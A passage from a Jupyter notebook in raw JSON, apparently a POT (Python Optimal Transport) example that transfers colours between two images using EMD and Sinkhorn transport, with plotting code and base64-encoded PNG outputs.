coFi5m+VOfxbKjHks2\n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\nSCQi/x+ffxVo88QyfAAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7f000447e908>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "pl.figure(2, figsize=(6.4, 3))\n", "\n", "pl.subplot(1, 2, 1)\n", "pl.scatter(Xs[:, 0], Xs[:, 2], c=Xs)\n", "pl.axis([0, 1, 0, 1])\n", "pl.xlabel('Red')\n", "pl.ylabel('Blue')\n", "pl.title('Image 1')\n", "\n", "pl.subplot(1, 2, 2)\n", "pl.scatter(Xt[:, 0], Xt[:, 2], c=Xt)\n", "pl.axis([0, 1, 0, 1])\n", "pl.xlabel('Red')\n", "pl.ylabel('Blue')\n", "pl.title('Image 2')\n", "pl.tight_layout()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Instantiate the different transport algorithms and fit them\n", "-----------------------------------------------------------\n", "\n" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# EMDTransport\n", "ot_emd = ot.da.EMDTransport()\n", "ot_emd.fit(Xs=Xs, Xt=Xt)\n", "\n", "# SinkhornTransport\n", "ot_sinkhorn = ot.da.SinkhornTransport(reg_e=1e-1)\n", "ot_sinkhorn.fit(Xs=Xs, Xt=Xt)\n", "\n", "# prediction between images (using out of sample prediction as in [6])\n", "transp_Xs_emd = ot_emd.transform(Xs=X1)\n", "transp_Xt_emd = ot_emd.inverse_transform(Xt=X2)\n", "\n", "transp_Xs_sinkhorn = ot_emd.transform(Xs=X1)\n", "transp_Xt_sinkhorn = ot_emd.inverse_transform(Xt=X2)\n", "\n", "I1t = minmax(mat2im(transp_Xs_emd, I1.shape))\n", "I2t = minmax(mat2im(transp_Xt_emd, I2.shape))\n", "\n", "I1te = minmax(mat2im(transp_Xs_sinkhorn, I1.shape))\n", "I2te = minmax(mat2im(transp_Xt_sinkhorn, I2.shape))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Plot new images\n", "---------------\n", "\n" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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